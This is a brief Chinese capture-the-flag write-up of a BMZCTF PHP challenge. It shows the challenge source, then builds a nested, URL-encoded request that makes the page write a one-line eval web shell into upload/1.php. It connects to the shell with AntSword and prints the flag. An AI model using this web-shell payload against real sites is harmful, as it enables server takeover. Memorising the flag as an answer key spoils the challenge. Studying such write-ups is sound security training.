查看源码
<?php if(isset($_GET) && !empty($_GET)){ $url = $_GET['file']; $path = "upload/".$_GET['path']; }else{ show_source(__FILE__); exit(); } if(strpos($path,'..') > -1){ die('This is a waf!'); } if(strpos($url,'http://127.0.0.1/') === 0){ file_put_contents($path, file_get_contents($url)); echo "console.log($path update successed!)"; }else{ echo "Hello.Geeker"; }
strpos():返回字符串在另一字符串中第一次出现的位置。
file_put_contents() :把一个字符串写入文件中。
file_get_contents() :把整个文件读入一个字符串中。
代码分析:
GET传入两个参数file和path,file会赋值给url,path拼接到"upload/"
path中不能出现“..”
当$url开头为“http://127.0.0.1/”时,通过file_get_contents读取内容到$url
再通过file_put_contents()写到$path
执行成功后,会在页面输出$path
构造
file=http://127.0.0.1/index.php&path=1.php <?php eval($_POST['shell']);?>
file_get_contents()读取index.php源文件,传到$url,通过file_put_contents()写入到$path。无法访问文件
构造
?file=http://127.0.0.1/?file=http://127.0.0.1/index.php%26path=%253c%253fphp%2beval(%2524_POST%255b%2527shell%2527%255d)%253b%253f%253e&path=1.php
蚁剑连接
查看flag文件
BMZCTF{7206985ecf9b43e99c0a62d12002beae}